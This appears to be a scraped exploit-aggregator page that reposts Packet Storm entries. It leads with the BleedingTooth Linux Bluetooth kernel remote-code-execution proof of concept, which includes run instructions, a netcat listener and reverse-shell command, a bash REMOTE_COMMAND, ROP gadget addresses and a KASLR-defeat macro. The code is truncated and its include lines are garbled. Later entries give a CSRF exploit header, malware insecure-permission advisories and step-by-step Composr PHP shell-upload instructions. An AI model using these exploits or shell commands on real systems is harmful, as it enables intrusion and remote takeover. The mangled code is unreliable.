Exploit Collector
Linux Kernel 5.4 BleedingTooth Remote Code Execution

https://3.bp.blogspot.com/-Gb5I5b_xjQ0/WWlu86s-SoI/AAAAAAAAIJk/Vrr0JqyMe7wOp_97KyfJoVRHnDW4ZjPNwCLcBGAs/s1600/h112.png
Linux kernel version 5.4 BleedingTooth bluetooth zero-click proof of concept remote code execution exploit.

MD5 | 11e39065cefe8b6ef7461c14faa79210

Download
/*
* BleedingTooth: Linux Bluetooth Zero-Click Remote Code Execution
* by Andy Nguyen (theflow@)
*
* This Proof-Of-Concept demonstrates the exploitation of
* CVE-2020-12351 and CVE-2020-12352.
*
* Compile using:
* $ gcc -o exploit exploit.c -lbluetooth
*
* and execute as:
* $ sudo ./exploit target_mac source_ip source_port
*
* In another terminal, run:
* $ nc -lvp 1337
* exec bash -i 2>&0 1>&0
*
* If successful, a calc can be spawned with:
* export XAUTHORITY=/run/user/1000/gdm/Xauthority
* export DISPLAY=:0
* gnome-calculator
*
* This Proof-Of-Concept has been tested against a Dell XPS 15 running
* Ubuntu 20.04.1 LTS with:
* - 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020
* x86_64 x86_64 x86_64 GNU/Linux
*
* The success rate of the exploit is estimated at 80%.
*/

#include <bluetooth
#include <bluetooth
#include <bluetooth
#include <bluetooth
#include <errno.h
#include <stdlib.h
#include <sys
#include <sys
#include <unistd.h

#define REMOTE_COMMAND "/bin/bash -c /bin/bash

// Increase if the heap spray is not reliable.
#define NUM_SPRAY_KMALLOC_1024 6
#define NUM_SPRAY_KMALLOC_128 6

// Increase if stuck at sending packets.
#define HCI_SEND_ACL_DATA_WAIT_USEC 5000

#define KERNEL_TEXT_BASE 0xffffffff81000000

#define KERNEL_UBUNTU_5_4_0_48 1

#ifdef KERNEL_UBUNTU_5_4_0_48
#define PUSH_RSI_ADD_BYTE_PTR_RBX_41_BL_POP_RSP_POP_RBP_RET 0xffffffff81567f46
#define POP_RAX_RET 0xffffffff8103d0b1
#define POP_RDI_RET 0xffffffff8108efa0
#define JMP_RAX 0xffffffff8100005b
#define RUN_CMD 0xffffffff810ce470
#define DO_TASK_DEAD 0xffffffff810dc260

#define KASLR_DEFEAT(kaslr_offset, kernel_addr) \
do { \
if ((kernel_addr & 0xfffff) == 0xf4d8e) \
kaslr_offset = kernel_addr - KERNEL_TEXT_BASE - 0xf4d8e; \
else \
kaslr_offset = kernel_addr - KERNEL_TEXT_BASE - 0xc001a4; \
} while (0)
#else
#error "No kernel version defined"

Exploit Collector
DMA Radius Manager 4.4.0 Cross Site Request Forgery

https://4.bp.blogspot.com/-JipZY3hUF7s/WWlu7l1ccBI/AAAAAAAAIJc/HAISYb4KBsQdeIf6OzzYRuXiYaIkpQnmACLcBGAs/s1600/h110.png
DMA Radius Manager version 4.4.0 suffers from a cross site request forgery vulnerability.

MD5 | 531e4a4445ee19d136af401072188e0d

Download
# Exploit Title: DMA Radius Manager 4.4.0 - Cross-Site Request Forgery (CSRF)
# Date: April 8, 2021 (04/08/2021)
# Exploit Author: Issac Briones
# Vendor Homepage: http://www.dmasoftlab.com/
# Software Download: https://sourceforge.net/projects/radiusmanager/
# Version: 4.4.0
# CVE: CVE-2021-30147
< ! -- Change IP addr to IP addr that RADIUS manager is located -- >

Source:packetstormsecurity.com

Exploit Collector
CMSimple 5.2 Cross Site Scripting

https://3.bp.blogspot.com/-3DxkerR7uq4/WWlu9h9UGfI/AAAAAAAAIJw/dRDCcwrw3XEGYQWUo-AXJEEU7FQ8iTgpACLcBGAs/s1600/h115.png
CMSimple version 5.2 suffers from a persistent cross site scripting vulnerability.

MD5 | 354482644f988f2d741a7f3bfad57674

Download
Source:packetstormsecurity.com

Exploit Collector
Trojan-Downloader.Win32.Genome.omht Insecure Permissions

https://4.bp.blogspot.com/-mbNmyGHywr4/WWlve-suujI/AAAAAAAAIP4/9elXOC6IHOcW_3VzQDLCix2bjP9zh38ZgCLcBGAs/s1600/h83.png
Trojan-Downloader.Win32.Genome.omht malware suffers from an insecure permissions vulnerability.

MD5 | b5b150be07257ed121639fd339c02bdb

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/01055838361f534ab596b56a19c70fef.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Downloader.Win32.Genome.omht
Vulnerability: Insecure Permissions
Description: Genome.omht creates an insecure dir named "wjmd97" under c:\ drive and grants change (C) permissions to the authenticated user group. Standard users can rename the executables dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: 01055838361f534ab596b56a19c70fef
Vuln ID: MVID-2021-0165
Dropped files: Jmd2PDF.exe, Receptor.exe, UpdateVIReceptor.exe
Disclosure: 04/07/2021
Exploit/PoC:
C:\>cacls wjmd97
C:\wjmd97 BUILTIN\Administrators:(OI)(CI)(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
C:\>cd wjmd97

C:\wjmd97>dir
Volume in drive C has no label.

Directory of C:\wjmd97

03/11/2016 08:21 AM 73,728 Jmd2PDF.exe
12/19/2017 08:16 AM 17,588,224 Receptor.exe
06/24/2013 12:32 PM 578,629 UpdateVIReceptor.exe
3 File(s) 18,240,581 bytes
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Exploit Collector
Trojan-Downloader.Win32.Genome.qiw Insecure Permissions

https://2.bp.blogspot.com/-GUn1a49o67Q/WWlu9F-J_rI/AAAAAAAAIJo/HAAKEGfKUXIq4oSJFA9qEBzdRn_AvSgtACLcBGAs/s1600/h113.png
Trojan-Downloader.Win32.Genome.qiw malware suffers from an insecure permissions vulnerability.

MD5 | 00a3fd2fe45a56e989c84555bf89a8e4

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/5cddc4647fb1c59f5dc7f414ada7fad4.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Downloader.Win32.Genome.qiw
Vulnerability: Insecure Permissions
Description: Genome.qiw creates an insecure dir named "tmp" under c:\ drive and grants change (C) permissions to the authenticated user group. Standard users can rename the executables dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: 5cddc4647fb1c59f5dc7f414ada7fad4
Vuln ID: MVID-2021-0164
Dropped files: 003.exe, BtPlayer_Setup_9999.exe
Disclosure: 04/07/2021

Exploit/PoC:
C:\>cacls tmp
C:\tmp BUILTIN\Administrators:(OI)(CI)(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
C:\>dir \tmp
Volume in drive C has no label.

Directory of C:\tmp

09/02/2009 02:59 PM 25,076 003.exe
09/02/2009 02:57 PM 2,218,086 BtPlayer_Setup_9999.exe
2 File(s) 2,243,162 bytes
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Exploit Collector
Composr 10.0.36 Shell Upload

https://4.bp.blogspot.com/-gp6vAY2GXMM/WWlvG3cWkQI/AAAAAAAAILY/aMDesAGFEocqJU-7SaIaO870_Bbf2ZUHACLcBGAs/s1600/h139.png
Composr version 10.0.36 suffers from a remote shell upload vulnerability.

MD5 | 735eb24f76261ce2e85c105910c3e39c

Download
# Exploit Title: Composr 10.0.36 - Remote Code Execution
# Date: 04/06/2021
# Exploit Author: Orion Hridoy
# Vendor Homepage: https://compo.sr/
# Software Link: https://compo.sr/download.htm
# Version: 10.0.36
# Tested on: Windows/Linux
# CVE : CVE-2021-30149

A RCE on Composr CMS has been discovered by BugsBD Private LTD. We have a galleries security issue which allows us to upload a PHP file. Whenever we upload an image from galleries, Composr allows us to upload only images. If we tried to upload a PHP file from galleries uploader it will say someone attempting hacking activities. But we have a security issue on the Upload In Bulk section. Whenever we check allowed extension in Upload in bulk function we can see PHP is completely prohibited. But whenever we tamper the request and change the extension we can see it will upload the PHP file without other or server side verification. This allows a user to upload malicious file even when they restricted it.

Steps To Reproduce:
1. Go to upload galleries.
2. Upload a image and tamper the request and change the extension from .jpg to .php
3. It will say hacking attempts, check the allowed extension and you can see it's not accepting PHP extension.
4. Now go to upload in bulk option.
5. Upload a image with PHP codes and tamper the request.
6. Change extension from .jpg to .php
7. It will get uploaded with the blocked PHP extension.


Source:packetstormsecurity.com

Dark Reading: Attacks/Breaches
Handcuffs Over AI: Solving Security Challenges With Law Enforcement

We've tried everything else ... now it's time to make the prospect of getting caught -- and punished -- a real deterrent to cybercrime.

Kali Linux Tutorials
Kics : Find Security Vulnerabilities & Compliance Issues

Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with KICS by Checkmarx. KICS stands for Keeping Infrastructure as Code Secure, it is open source and is a must-have for any cloud native project. Supported Platforms Support of other solutions and additional cloud providers are on the roadmap. […]

The post Kics : Find Security Vulnerabilities & Compliance Issues appeared first on Kali Linux Tutorials.